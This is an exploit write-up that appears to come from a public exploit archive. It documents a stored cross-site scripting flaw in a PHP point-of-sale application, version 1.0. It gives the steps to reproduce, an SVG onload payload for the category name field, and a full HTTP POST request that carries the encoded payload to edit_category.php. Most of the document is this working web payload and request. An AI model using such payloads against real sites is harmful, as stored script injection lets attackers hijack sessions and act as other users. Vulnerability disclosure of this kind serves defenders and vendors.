#Exploit Title: Point of Sales 1.0 - Stored Cross Site Scripting
#Date: 2020-10-22
#Exploit Author: Ankita Pal
#Vendor Homepage: https://www.sourcecodester.com/php/14540/point-sales-phppdo-full-source-code-2020.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/pos_0.zip
#Version: 1.0
#Tested on: Windows 10 + xampp v3.2.4


Proof of Concept:::

Step 1: Open the URL https://localhost:8081/pos/edit_category.php?id=1

Step 2: Use payload <svg onload=alert("XSS") in Name Kategori.


Malicious Request:::
POST /pos/edit_category.php?id=1 HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: https://localhost:8081
Connection: close
Referer: https://localhost:8081/pos/edit_category.php?id=1
Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id
Upgrade-Insecure-Requests: 1

category=%3Csvg+onload%3D+alert%28%22XSS%22%29%3E&btn_edit=


Payload gets executed.